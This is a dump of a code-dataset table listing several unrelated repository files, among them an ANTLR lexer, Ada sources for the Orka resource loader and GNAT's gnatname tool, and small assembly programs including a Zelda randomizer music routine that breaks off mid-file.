max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
src/main/antlr/IgnoredTokensLexer.g4 | AmartC/shr-grammar | 0 | 49 | <reponame>AmartC/shr-grammar<filename>src/main/antlr/IgnoredTokensLexer.g4<gh_stars>0
lexer grammar IgnoredTokensLexer;
// Common Lexer Definitions for tokens we generally ignore
// Used by SHRDataElementLexer, SHRMapLexer, and SHRValueSetLexer
WS: [ \r\t] -> channel(HIDDEN);
NEWLINE: '\n' -> channel(HIDDEN);
COMMENT: '/*' .*? '*/' -> skip;
LINE_COMMENT: '//' ~[\r\n]* -> skip;
|
source/image/required/s-widlli.ads | ytomino/drake | 33 | 15319 | <reponame>ytomino/drake
pragma License (Unrestricted);
-- implementation unit required by compiler
package System.Wid_LLI is
pragma Pure;
-- required for Long_Long_Integer'Width by compiler (s-widlli.ads)
function Width_Long_Long_Integer (Lo, Hi : Long_Long_Integer)
return Natural;
end System.Wid_LLI;
|
orka/src/orka/implementation/orka-resources-loader.adb | onox/orka | 52 | 8073 | <filename>orka/src/orka/implementation/orka-resources-loader.adb
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2018 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Containers.Vectors;
with Ada.Exceptions;
with Orka.Containers.Ring_Buffers;
with Orka.OS;
package body Orka.Resources.Loader is
function Is_Extension (Path, Extension : String) return Boolean is
(Path (Path'Last - Extension'Length .. Path'Last) = "." & Extension);
use type Loaders.Loader_Access;
package Loader_Vectors is new Ada.Containers.Vectors (Positive, Loaders.Loader_Access);
-- Using a vector instead of a map gives looking up a loader a time
-- complexity of O(n) instead of O(1), but it is assumed that there
-- will only be a handful of registered loaders
protected Resource_Loaders is
procedure Include (Loader : Loaders.Loader_Ptr);
-- Add the loader to the list of loaders if it hasn't already
-- been added
function Has_Loader (Path : String) return Boolean;
-- Return True if a loader has been registered that can load the
-- file at the given path based on its extension, False otherwise
function Loader (Path : String) return Loaders.Loader_Ptr;
-- Return a loader based on the extension of the given path
private
Loaders_Vector : Loader_Vectors.Vector;
end Resource_Loaders;
protected body Resource_Loaders is
procedure Include (Loader : Loaders.Loader_Ptr) is
begin
if not (for some L of Loaders_Vector => L.Extension = Loader.Extension) then
Loaders_Vector.Append (Loader);
end if;
end Include;
function Has_Loader (Path : String) return Boolean is
(for some Loader of Loaders_Vector => Is_Extension (Path, Loader.Extension));
function Loader (Path : String) return Loaders.Loader_Ptr is
begin
for Loader of Loaders_Vector loop
if Is_Extension (Path, Loader.Extension) then
return Loader;
end if;
end loop;
raise Constraint_Error;
end Loader;
end Resource_Loaders;
-----------------------------------------------------------------------------
type Pair is record
Location : Locations.Location_Access;
Loader : Loaders.Loader_Access;
end record;
package Pair_Vectors is new Ada.Containers.Vectors (Positive, Pair);
protected Resource_Locations is
procedure Add (Location : Locations.Location_Ptr; Loader : Loaders.Loader_Ptr);
function Location
(Loader : Loaders.Loader_Ptr;
Path : String) return Locations.Location_Ptr;
-- Return the first location, that match with the given loader,
-- containing the file identified by the given path
--
-- If none of the locations contain a file identified by the
-- given path, the exception Locations.Name_Error is raised.
private
Pairs : Pair_Vectors.Vector;
end Resource_Locations;
protected body Resource_Locations is
procedure Add (Location : Locations.Location_Ptr; Loader : Loaders.Loader_Ptr) is
Element : constant Pair := (Location => Location, Loader => Loader);
begin
-- Check that the same combination of location and loader isn't
-- added multiple times
if (for some Pair of Pairs => Pair = Element) then
raise Constraint_Error with "Location already added for the given loader";
end if;
Pairs.Append (Element);
end Add;
function Location
(Loader : Loaders.Loader_Ptr;
Path : String) return Locations.Location_Ptr
is
File_Not_Found : Boolean := False;
begin
for Pair of Pairs loop
if Loader = Pair.Loader then
if Pair.Location.Exists (Path) then
return Pair.Location;
else
File_Not_Found := True;
end if;
end if;
end loop;
if File_Not_Found then
raise Locations.Name_Error with "Path '" & Path & "' not found";
end if;
-- No locations have been added for the given loader
raise Constraint_Error with "No locations added for the given loader";
end Location;
end Resource_Locations;
-----------------------------------------------------------------------------
type Read_Request is record
Path : SU.Unbounded_String;
Future : Futures.Pointers.Mutable_Pointer;
Time : Orka.Time;
end record;
Null_Request : constant Read_Request := (others => <>);
package Buffers is new Orka.Containers.Ring_Buffers (Read_Request);
protected Queue is
entry Enqueue (Element : Read_Request);
entry Dequeue (Element : out Read_Request; Stop : out Boolean);
procedure Shutdown;
private
Requests : Buffers.Buffer (Maximum_Requests);
Should_Stop : Boolean := False;
end Queue;
protected body Queue is
entry Enqueue (Element : Read_Request) when not Requests.Is_Full is
begin
Requests.Add_Last (Element);
end Enqueue;
entry Dequeue (Element : out Read_Request; Stop : out Boolean)
when Should_Stop or else not Requests.Is_Empty is
begin
Stop := Should_Stop;
if Should_Stop then
return;
end if;
Element := Requests.Remove_First;
end Dequeue;
procedure Shutdown is
begin
Should_Stop := True;
end Shutdown;
end Queue;
-----------------------------------------------------------------------------
procedure Add_Location (Location : Locations.Location_Ptr; Loader : Loaders.Loader_Ptr) is
begin
Resource_Locations.Add (Location, Loader);
Resource_Loaders.Include (Loader);
end Add_Location;
function Load (Path : String) return Futures.Pointers.Mutable_Pointer is
Slot : Futures.Future_Access;
begin
if not Resource_Loaders.Has_Loader (Path) then
raise Resource_Load_Error with "No registered loader for " & Path;
end if;
Queues.Slots.Manager.Acquire (Slot);
declare
Pointer : Futures.Pointers.Mutable_Pointer;
begin
Pointer.Set (Slot);
Queue.Enqueue
((Path => SU.To_Unbounded_String (Path),
Future => Pointer,
Time => Orka.OS.Monotonic_Clock));
return Pointer;
-- Return Pointer instead of Pointer.Get to prevent
-- adjust/finalize raising a Storage_Error
end;
end Load;
procedure Shutdown is
begin
Queue.Shutdown;
end Shutdown;
task body Loader is
Name : String renames Task_Name;
Request : Read_Request;
Stop : Boolean := False;
begin
Orka.OS.Set_Task_Name (Name);
loop
Queue.Dequeue (Request, Stop);
exit when Stop;
declare
Future : Futures.Pointers.Reference renames Request.Future.Get;
Promise : Futures.Promise'Class renames Futures.Promise'Class (Future.Value.all);
begin
Promise.Set_Status (Futures.Running);
declare
Path : constant String := SU.To_String (Request.Path);
Loader : Loaders.Loader_Ptr renames Resource_Loaders.Loader (Path);
Time_Start : constant Time := Orka.OS.Monotonic_Clock;
Location : constant Locations.Location_Ptr
:= Resource_Locations.Location (Loader, Path);
Bytes : constant Byte_Array_Pointers.Pointer := Location.Read_Data (Path);
Time_End : constant Time := Orka.OS.Monotonic_Clock;
Reading_Time : constant Duration := Time_End - Time_Start;
procedure Enqueue (Element : Jobs.Job_Ptr) is
begin
Job_Queue.Enqueue (Element, Request.Future);
end Enqueue;
begin
Loader.Load
((Bytes, Reading_Time, Request.Time, Request.Path),
Enqueue'Access, Location);
end;
exception
when Error : others =>
Orka.OS.Put_Line (Name & ": " & Ada.Exceptions.Exception_Information (Error));
Promise.Set_Failed (Error);
end;
-- Finalize the smart pointer (Request.Future) to reduce the
-- number of references to the Future object
Request := Null_Request;
end loop;
exception
when Error : others =>
Orka.OS.Put_Line (Name & ": " & Ada.Exceptions.Exception_Information (Error));
end Loader;
end Orka.Resources.Loader;
|
projects/pngoptimizer/win/trick-vs10.asm | hadrien-psydk/pngoptimizer | 90 | 104021 | ; This file is a trick to redirect EncodePointer and DecodePointer functions
; that are available only since WinXP SP2. This way we stay compatible with
; older Windows version. This trick does not apply to x64 builds.
.model flat
.data
__imp__EncodePointer@4 dd dummy
__imp__DecodePointer@4 dd dummy
EXTERNDEF __imp__EncodePointer@4 : DWORD
EXTERNDEF __imp__DecodePointer@4 : DWORD
.code
dummy proc
mov eax, [esp+4]
ret 4
dummy endp
end
|
src/tools/attilaASM/input/red_cube.asm | Lycheus/GLSL-ATTILA | 0 | 95396 | <filename>src/tools/attilaASM/input/red_cube.asm
add r0, r1, 102
stv r0, r1, 102
add r0, r1, 20
mov r1, c0
stv r0, r1, 0
ldv r3, r0, 0
add r0, r3, 9
stv r0, c0, 100
ldv r0, r1, 109
dp4 r0.x, i0, c0
dp4 r0.y, i0, c1
dp4 r0.z, i0, c2
dp4 r0.w, i0, c3
dp4 o0.x, r0, c4
dp4 o0.y, r0, c5
dp4 o0.z, r0, c6
dp4 o0.w, r0, c7
|
gcc-gcc-7_3_0-release/gcc/ada/gnatname.adb | best08618/asylo | 7 | 7475 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T N A M E --
-- --
-- B o d y --
-- --
-- Copyright (C) 2001-2015, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Command_Line; use Ada.Command_Line;
with Ada.Text_IO; use Ada.Text_IO;
with GNAT.Command_Line; use GNAT.Command_Line;
with GNAT.Dynamic_Tables;
with GNAT.OS_Lib; use GNAT.OS_Lib;
with Opt;
with Osint; use Osint;
with Output; use Output;
with Prj; use Prj;
with Prj.Makr;
with Switch; use Switch;
with Table;
with System.Regexp; use System.Regexp;
procedure Gnatname is
Subdirs_Switch : constant String := "--subdirs=";
Usage_Output : Boolean := False;
-- Set to True when usage is output, to avoid multiple output
Usage_Needed : Boolean := False;
-- Set to True by -h switch
Version_Output : Boolean := False;
-- Set to True when version is output, to avoid multiple output
Very_Verbose : Boolean := False;
-- Set to True with -v -v
Create_Project : Boolean := False;
-- Set to True with a -P switch
File_Path : String_Access := new String'("gnat.adc");
-- Path name of the file specified by -c or -P switch
File_Set : Boolean := False;
-- Set to True by -c or -P switch.
-- Used to detect multiple -c/-P switches.
package Patterns is new GNAT.Dynamic_Tables
(Table_Component_Type => String_Access,
Table_Index_Type => Natural,
Table_Low_Bound => 0,
Table_Initial => 10,
Table_Increment => 100);
-- Table to accumulate the patterns
type Argument_Data is record
Directories : Patterns.Instance;
Name_Patterns : Patterns.Instance;
Excluded_Patterns : Patterns.Instance;
Foreign_Patterns : Patterns.Instance;
end record;
package Arguments is new Table.Table
(Table_Component_Type => Argument_Data,
Table_Index_Type => Natural,
Table_Low_Bound => 0,
Table_Initial => 10,
Table_Increment => 100,
Table_Name => "Gnatname.Arguments");
-- Table to accumulate directories and patterns
package Preprocessor_Switches is new Table.Table
(Table_Component_Type => String_Access,
Table_Index_Type => Natural,
Table_Low_Bound => 0,
Table_Initial => 10,
Table_Increment => 100,
Table_Name => "Gnatname.Preprocessor_Switches");
-- Table to store the preprocessor switches to be used in the call
-- to the compiler.
procedure Output_Version;
-- Print name and version
procedure Usage;
-- Print usage
procedure Scan_Args;
-- Scan the command line arguments
procedure Add_Source_Directory (S : String);
-- Add S in the Source_Directories table
procedure Get_Directories (From_File : String);
-- Read a source directory text file
--------------------------
-- Add_Source_Directory --
--------------------------
procedure Add_Source_Directory (S : String) is
begin
Patterns.Append
(Arguments.Table (Arguments.Last).Directories, new String'(S));
end Add_Source_Directory;
---------------------
-- Get_Directories --
---------------------
procedure Get_Directories (From_File : String) is
File : Ada.Text_IO.File_Type;
Line : String (1 .. 2_000);
Last : Natural;
begin
Open (File, In_File, From_File);
while not End_Of_File (File) loop
Get_Line (File, Line, Last);
if Last /= 0 then
Add_Source_Directory (Line (1 .. Last));
end if;
end loop;
Close (File);
exception
when Name_Error =>
Fail ("cannot open source directory file """ & From_File & '"');
end Get_Directories;
--------------------
-- Output_Version --
--------------------
procedure Output_Version is
begin
if not Version_Output then
Version_Output := True;
Output.Write_Eol;
Display_Version ("GNATNAME", "2001");
end if;
end Output_Version;
---------------
-- Scan_Args --
---------------
procedure Scan_Args is
procedure Check_Version_And_Help is new Check_Version_And_Help_G (Usage);
Project_File_Name_Expected : Boolean;
Pragmas_File_Expected : Boolean;
Directory_Expected : Boolean;
Dir_File_Name_Expected : Boolean;
Foreign_Pattern_Expected : Boolean;
Excluded_Pattern_Expected : Boolean;
procedure Check_Regular_Expression (S : String);
-- Compile string S into a Regexp, fail if any error
-----------------------------
-- Check_Regular_Expression--
-----------------------------
procedure Check_Regular_Expression (S : String) is
Dummy : Regexp;
pragma Warnings (Off, Dummy);
begin
Dummy := Compile (S, Glob => True);
exception
when Error_In_Regexp =>
Fail ("invalid regular expression """ & S & """");
end Check_Regular_Expression;
-- Start of processing for Scan_Args
begin
-- First check for --version or --help
Check_Version_And_Help ("GNATNAME", "2001");
-- Now scan the other switches
Project_File_Name_Expected := False;
Pragmas_File_Expected := False;
Directory_Expected := False;
Dir_File_Name_Expected := False;
Foreign_Pattern_Expected := False;
Excluded_Pattern_Expected := False;
for Next_Arg in 1 .. Argument_Count loop
declare
Next_Argv : constant String := Argument (Next_Arg);
Arg : String (1 .. Next_Argv'Length) := Next_Argv;
begin
if Arg'Length > 0 then
-- -P xxx
if Project_File_Name_Expected then
if Arg (1) = '-' then
Fail ("project file name missing");
else
File_Set := True;
File_Path := new String'(Arg);
Project_File_Name_Expected := False;
end if;
-- -c file
elsif Pragmas_File_Expected then
File_Set := True;
File_Path := new String'(Arg);
Create_Project := False;
Pragmas_File_Expected := False;
-- -d xxx
elsif Directory_Expected then
Add_Source_Directory (Arg);
Directory_Expected := False;
-- -D xxx
elsif Dir_File_Name_Expected then
Get_Directories (Arg);
Dir_File_Name_Expected := False;
-- -f xxx
elsif Foreign_Pattern_Expected then
Patterns.Append
(Arguments.Table (Arguments.Last).Foreign_Patterns,
new String'(Arg));
Check_Regular_Expression (Arg);
Foreign_Pattern_Expected := False;
-- -x xxx
elsif Excluded_Pattern_Expected then
Patterns.Append
(Arguments.Table (Arguments.Last).Excluded_Patterns,
new String'(Arg));
Check_Regular_Expression (Arg);
Excluded_Pattern_Expected := False;
-- There must be at least one Ada pattern or one foreign
-- pattern for the previous section.
-- --and
elsif Arg = "--and" then
if Patterns.Last
(Arguments.Table (Arguments.Last).Name_Patterns) = 0
and then
Patterns.Last
(Arguments.Table (Arguments.Last).Foreign_Patterns) = 0
then
Try_Help;
return;
end if;
-- If no directory were specified for the previous section,
-- then the directory is the project directory.
if Patterns.Last
(Arguments.Table (Arguments.Last).Directories) = 0
then
Patterns.Append
(Arguments.Table (Arguments.Last).Directories,
new String'("."));
end if;
-- Add and initialize another component to Arguments table
declare
New_Arguments : Argument_Data;
pragma Warnings (Off, New_Arguments);
-- Declaring this defaulted initialized object ensures
-- that the new allocated component of table Arguments
-- is correctly initialized.
-- This is VERY ugly, Table should never be used with
-- data requiring default initialization. We should
-- find a way to avoid violating this rule ???
begin
Arguments.Append (New_Arguments);
end;
Patterns.Init
(Arguments.Table (Arguments.Last).Directories);
Patterns.Set_Last
(Arguments.Table (Arguments.Last).Directories, 0);
Patterns.Init
(Arguments.Table (Arguments.Last).Name_Patterns);
Patterns.Set_Last
(Arguments.Table (Arguments.Last).Name_Patterns, 0);
Patterns.Init
(Arguments.Table (Arguments.Last).Excluded_Patterns);
Patterns.Set_Last
(Arguments.Table (Arguments.Last).Excluded_Patterns, 0);
Patterns.Init
(Arguments.Table (Arguments.Last).Foreign_Patterns);
Patterns.Set_Last
(Arguments.Table (Arguments.Last).Foreign_Patterns, 0);
-- Subdirectory switch
elsif Arg'Length > Subdirs_Switch'Length
and then Arg (1 .. Subdirs_Switch'Length) = Subdirs_Switch
then
Subdirs :=
new String'(Arg (Subdirs_Switch'Length + 1 .. Arg'Last));
-- --no-backup
elsif Arg = "--no-backup" then
Opt.No_Backup := True;
-- -c
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-c" then
if File_Set then
Fail ("only one -P or -c switch may be specified");
end if;
if Arg'Length = 2 then
Pragmas_File_Expected := True;
if Next_Arg = Argument_Count then
Fail ("configuration pragmas file name missing");
end if;
else
File_Set := True;
File_Path := new String'(Arg (3 .. Arg'Last));
Create_Project := False;
end if;
-- -d
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-d" then
if Arg'Length = 2 then
Directory_Expected := True;
if Next_Arg = Argument_Count then
Fail ("directory name missing");
end if;
else
Add_Source_Directory (Arg (3 .. Arg'Last));
end if;
-- -D
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-D" then
if Arg'Length = 2 then
Dir_File_Name_Expected := True;
if Next_Arg = Argument_Count then
Fail ("directory list file name missing");
end if;
else
Get_Directories (Arg (3 .. Arg'Last));
end if;
-- -eL
elsif Arg = "-eL" then
Opt.Follow_Links_For_Files := True;
Opt.Follow_Links_For_Dirs := True;
-- -f
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-f" then
if Arg'Length = 2 then
Foreign_Pattern_Expected := True;
if Next_Arg = Argument_Count then
Fail ("foreign pattern missing");
end if;
else
Patterns.Append
(Arguments.Table (Arguments.Last).Foreign_Patterns,
new String'(Arg (3 .. Arg'Last)));
Check_Regular_Expression (Arg (3 .. Arg'Last));
end if;
-- -gnatep or -gnateD
elsif Arg'Length > 7 and then
(Arg (1 .. 7) = "-gnatep" or else Arg (1 .. 7) = "-gnateD")
then
Preprocessor_Switches.Append (new String'(Arg));
-- -h
elsif Arg = "-h" then
Usage_Needed := True;
-- -P
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-P" then
if File_Set then
Fail ("only one -c or -P switch may be specified");
end if;
if Arg'Length = 2 then
if Next_Arg = Argument_Count then
Fail ("project file name missing");
else
Project_File_Name_Expected := True;
end if;
else
File_Set := True;
File_Path := new String'(Arg (3 .. Arg'Last));
end if;
Create_Project := True;
-- -v
elsif Arg = "-v" then
if Opt.Verbose_Mode then
Very_Verbose := True;
else
Opt.Verbose_Mode := True;
end if;
-- -x
elsif Arg'Length >= 2 and then Arg (1 .. 2) = "-x" then
if Arg'Length = 2 then
Excluded_Pattern_Expected := True;
if Next_Arg = Argument_Count then
Fail ("excluded pattern missing");
end if;
else
Patterns.Append
(Arguments.Table (Arguments.Last).Excluded_Patterns,
new String'(Arg (3 .. Arg'Last)));
Check_Regular_Expression (Arg (3 .. Arg'Last));
end if;
-- Junk switch starting with minus
elsif Arg (1) = '-' then
Fail ("wrong switch: " & Arg);
-- Not a recognized switch, assume file name
else
Canonical_Case_File_Name (Arg);
Patterns.Append
(Arguments.Table (Arguments.Last).Name_Patterns,
new String'(Arg));
Check_Regular_Expression (Arg);
end if;
end if;
end;
end loop;
end Scan_Args;
-----------
-- Usage --
-----------
procedure Usage is
begin
if not Usage_Output then
Usage_Needed := False;
Usage_Output := True;
Write_Str ("Usage: ");
Osint.Write_Program_Name;
Write_Line (" [switches] naming-pattern [naming-patterns]");
Write_Line (" {--and [switches] naming-pattern [naming-patterns]}");
Write_Eol;
Write_Line ("switches:");
Display_Usage_Version_And_Help;
Write_Line (" --subdirs=dir real obj/lib/exec dirs are subdirs");
Write_Line (" --no-backup do not create backup of project file");
Write_Eol;
Write_Line (" --and use different patterns");
Write_Eol;
Write_Line (" -cfile create configuration pragmas file");
Write_Line (" -ddir use dir as one of the source " &
"directories");
Write_Line (" -Dfile get source directories from file");
Write_Line (" -eL follow symbolic links when processing " &
"project files");
Write_Line (" -fpat foreign pattern");
Write_Line (" -gnateDsym=v preprocess with symbol definition");
Write_Line (" -gnatep=data preprocess files with data file");
Write_Line (" -h output this help message");
Write_Line (" -Pproj update or create project file proj");
Write_Line (" -v verbose output");
Write_Line (" -v -v very verbose output");
Write_Line (" -xpat exclude pattern pat");
end if;
end Usage;
-- Start of processing for Gnatname
begin
-- Add the directory where gnatname is invoked in front of the
-- path, if gnatname is invoked with directory information.
declare
Command : constant String := Command_Name;
begin
for Index in reverse Command'Range loop
if Command (Index) = Directory_Separator then
declare
Absolute_Dir : constant String :=
Normalize_Pathname
(Command (Command'First .. Index));
PATH : constant String :=
Absolute_Dir &
Path_Separator &
Getenv ("PATH").all;
begin
Setenv ("PATH", PATH);
end;
exit;
end if;
end loop;
end;
-- Initialize tables
Arguments.Set_Last (0);
declare
New_Arguments : Argument_Data;
pragma Warnings (Off, New_Arguments);
-- Declaring this defaulted initialized object ensures that the new
-- allocated component of table Arguments is correctly initialized.
begin
Arguments.Append (New_Arguments);
end;
Patterns.Init (Arguments.Table (1).Directories);
Patterns.Set_Last (Arguments.Table (1).Directories, 0);
Patterns.Init (Arguments.Table (1).Name_Patterns);
Patterns.Set_Last (Arguments.Table (1).Name_Patterns, 0);
Patterns.Init (Arguments.Table (1).Excluded_Patterns);
Patterns.Set_Last (Arguments.Table (1).Excluded_Patterns, 0);
Patterns.Init (Arguments.Table (1).Foreign_Patterns);
Patterns.Set_Last (Arguments.Table (1).Foreign_Patterns, 0);
Preprocessor_Switches.Set_Last (0);
-- Get the arguments
Scan_Args;
if Opt.Verbose_Mode then
Output_Version;
end if;
if Usage_Needed then
Usage;
end if;
if Create_Project then
declare
Gnatname : constant String_Access :=
Program_Name ("gnatname", "gnatname");
Arg_Len : Positive := Argument_Count;
Target : String_Access := null;
begin
-- Find the target, if any
if Gnatname.all /= "gnatname" then
Target :=
new String'(Gnatname (Gnatname'First .. Gnatname'Last - 9));
Arg_Len := Arg_Len + 1;
end if;
declare
Args : Argument_List (1 .. Arg_Len);
Gprname : String_Access :=
Locate_Exec_On_Path (Exec_Name => "gprname");
Success : Boolean;
begin
if Gprname /= null then
for J in 1 .. Argument_Count loop
Args (J) := new String'(Argument (J));
end loop;
-- Add the target if there is one
if Target /= null then
Args (Args'Last) := new String'("--target=" & Target.all);
end if;
Spawn (Gprname.all, Args, Success);
Free (Gprname);
if Success then
Exit_Program (E_Success);
end if;
end if;
end;
end;
end if;
-- This only happens if gprname is not found or if the invocation of
-- gprname did not succeed.
if Create_Project then
Write_Line
("warning: gnatname -P is obsolete and will not be available in the" &
" next release; use gprname instead");
end if;
-- If no Ada or foreign pattern was specified, print the usage and return
if Patterns.Last (Arguments.Table (Arguments.Last).Name_Patterns) = 0
and then
Patterns.Last (Arguments.Table (Arguments.Last).Foreign_Patterns) = 0
then
if Argument_Count = 0 then
Usage;
elsif not Usage_Output then
Try_Help;
end if;
return;
end if;
-- If no source directory was specified, use the current directory as the
-- unique directory. Note that if a file was specified with directory
-- information, the current directory is the directory of the specified
-- file.
if Patterns.Last (Arguments.Table (Arguments.Last).Directories) = 0 then
Patterns.Append
(Arguments.Table (Arguments.Last).Directories, new String'("."));
end if;
-- Initialize
declare
Prep_Switches : Argument_List
(1 .. Integer (Preprocessor_Switches.Last));
begin
for Index in Prep_Switches'Range loop
Prep_Switches (Index) := Preprocessor_Switches.Table (Index);
end loop;
Prj.Makr.Initialize
(File_Path => File_Path.all,
Project_File => Create_Project,
Preproc_Switches => Prep_Switches,
Very_Verbose => Very_Verbose,
Flags => Gnatmake_Flags);
end;
-- Process each section successively
for J in 1 .. Arguments.Last loop
declare
Directories : Argument_List
(1 .. Integer
(Patterns.Last (Arguments.Table (J).Directories)));
Name_Patterns : Prj.Makr.Regexp_List
(1 .. Integer
(Patterns.Last (Arguments.Table (J).Name_Patterns)));
Excl_Patterns : Prj.Makr.Regexp_List
(1 .. Integer
(Patterns.Last (Arguments.Table (J).Excluded_Patterns)));
Frgn_Patterns : Prj.Makr.Regexp_List
(1 .. Integer
(Patterns.Last (Arguments.Table (J).Foreign_Patterns)));
begin
-- Build the Directories and Patterns arguments
for Index in Directories'Range loop
Directories (Index) :=
Arguments.Table (J).Directories.Table (Index);
end loop;
for Index in Name_Patterns'Range loop
Name_Patterns (Index) :=
Compile
(Arguments.Table (J).Name_Patterns.Table (Index).all,
Glob => True);
end loop;
for Index in Excl_Patterns'Range loop
Excl_Patterns (Index) :=
Compile
(Arguments.Table (J).Excluded_Patterns.Table (Index).all,
Glob => True);
end loop;
for Index in Frgn_Patterns'Range loop
Frgn_Patterns (Index) :=
Compile
(Arguments.Table (J).Foreign_Patterns.Table (Index).all,
Glob => True);
end loop;
-- Call Prj.Makr.Process where the real work is done
Prj.Makr.Process
(Directories => Directories,
Name_Patterns => Name_Patterns,
Excluded_Patterns => Excl_Patterns,
Foreign_Patterns => Frgn_Patterns);
end;
end loop;
-- Finalize
Prj.Makr.Finalize;
if Opt.Verbose_Mode then
Write_Eol;
end if;
end Gnatname;
|
oeis/118/A118680.asm | neoneye/loda-programs | 11 | 82536 | ; A118680: Numerator of determinant of n X n matrix with M(i,j) = (i+1)/i if i=j otherwise 1.
; Submitted by <NAME>
; 2,2,7,11,2,11,29,37,23,1,67,79,23,53,11,137,1,43,191,211,29,127,277,43,163,1,379,37,109,233,71,23,281,149,631,1,1,53,71,821,431,113,947,991,1,541,1129,107,613,1,1327,197,179,743,67,1597,827,107,1,1831,1,977,2017,2081,1,79,1,2347,151,113,2557,239,193,347,2851,2927,751,1,109,463,151,1,317,3571,457,1871,547,3917,2003,1,1,389,1093,1,4561,4657,2377,1213,4951,5051
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
mov $1,$3
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
mul $2,$0
add $4,$3
lpe
add $4,2
gcd $1,$4
div $4,$1
mov $0,$4
|
music.asm | aerinon/z3randomizer | 0 | 21432 | ;--------------------------------------------------------------------------------
PreOverworld_LoadProperties_ChooseMusic:
; A: scratch space (value never used)
; Y: set to overworld animated tileset
; X: set to music track/command id
JSL.l FixFrogSmith ; Just a convenient spot to install this hook
LDY.b #$58 ; death mountain animated tileset.
LDX.b #$02 ; Default light world theme
LDA $8A : ORA #$40 ; check both light and dark world DM at the same time
CMP.b #$43 : BEQ .endOfLightWorldChecks
CMP.b #$45 : BEQ .endOfLightWorldChecks
CMP.b #$47 : BEQ .endOfLightWorldChecks
LDY.b #$5A ; Main overworld animated tileset
; Skip village and lost woods checks if entering dark world or a special area
LDA $8A : CMP.b #$40 : !BGE .notVillageOrWoods
LDX.b #$07 ; Default village theme
; Check what phase we're in
;LDA $7EF3C5 : CMP.b #$03 : !BLT +
; LDX.b #$02 ; Default light world theme (phase >=3)
;+
; Check if we're entering the village
LDA $8A : CMP.b #$18 : BEQ .endOfLightWorldChecks
; For NA release would we also branch on indexes #$22 #$28 #$29
LDX.b #$05 ; Lost woods theme
; check if we've pulled from the master sword pedestal
LDA $7EF300 : AND.b #$40 : BEQ +
LDX.b #$02 ; Default light world theme
+
; check if we are entering lost woods
LDA $8A : BEQ .endOfLightWorldChecks
.notVillageOrWoods
; Use the normal overworld (light world) music
LDX.b #$02
; Check phase ; In phase >= 2
LDA $7EF3C5 : CMP.b #$02 : !BGE +
; If phase < 2, play the legend music
LDX.b #$03
+
.endOfLightWorldChecks
; if we are in the light world go ahead and set chosen selection
LDA $7EF3CA : BEQ .checkInverted+4
LDX.b #$0F ; dark woods theme
; This music is used in dark woods
LDA $8A
CMP.b #$40 : BEQ +
LDX.b #$0D ; dark death mountain theme
; This music is used in dark death mountain
CMP.b #$43 : BEQ + : CMP.b #$45 : BEQ + : CMP.b #$47 : BEQ +
LDX.b #$09 ; dark overworld theme
+
; if not inverted and light world, or inverted and dark world, skip moon pearl check
.checkInverted
LDA $7EF3CA : CLC : ROL #$03 : CMP InvertedMode : BEQ .lastCheck
; Does Link have a moon pearl?
LDA $7EF357 : BNE +
LDX.b #$04 ; bunny theme
+
.lastCheck
LDA $0132 : CMP.b #$F2 : BNE +
CPX $0130 : BNE +
; If the last played command ($0132) was half volume (#$F2)
; and the actual song playing ($0130) is same as the one for this area (X)
; then play the full volume command (#F3) instead of restarting the song
LDX.b #$F3
+
JML.l PreOverworld_LoadProperties_SetSong
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
Overworld_FinishMirrorWarp:
REP #$20
LDA.w #$2641 : STA $4370
LDX.b #$3E
LDA.w #$FF00
.clear_hdma_table
STA $1B00, X : STA $1B40, X
STA $1B80, X : STA $1BC0, X
STA $1C00, X : STA $1C40, X
STA $1C80, X
DEX #2 : BPL .clear_hdma_table
LDA.w #$0000 : STA $7EC007 : STA $7EC009
SEP #$20
JSL $00D7C8 ; $57C8 IN ROM
LDA.b #$80 : STA $9B
LDX.b #$04 ; bunny theme
; if not inverted and light world, or inverted and dark world, skip moon pearl check
LDA $7EF3CA : CLC : ROL #$03 : CMP InvertedMode : BEQ +
LDA $7EF357 : BEQ .endOfLightWorldChecks
+
LDX.b #$09 ; default dark world theme
LDA $8A : CMP.b #$40 : !BGE .endOfLightWorldChecks
LDX.b #$02 ; hyrule field theme
; Check if we're entering the lost woods
CMP.b #$00 : BNE +
LDA $7EF300 : AND.b #$40 : BNE .endOfLightWorldChecks
LDX.b #$05 ; lost woods theme
BRA .endOfLightWorldChecks
+
; Check if we're entering the village
CMP.b #$18 : BNE .endOfLightWorldChecks
; Check what phase we're in
; LDA $7EF3C5 : CMP.b #$03 : !BGE .endOfLightWorldChecks
LDX.b #$07 ; Default village theme (phase <3)
.endOfLightWorldChecks
STX $012C
LDA $8A : CMP.b #$40 : BNE +
LDX #$0F ; dark woods theme
BRA .bunny
+
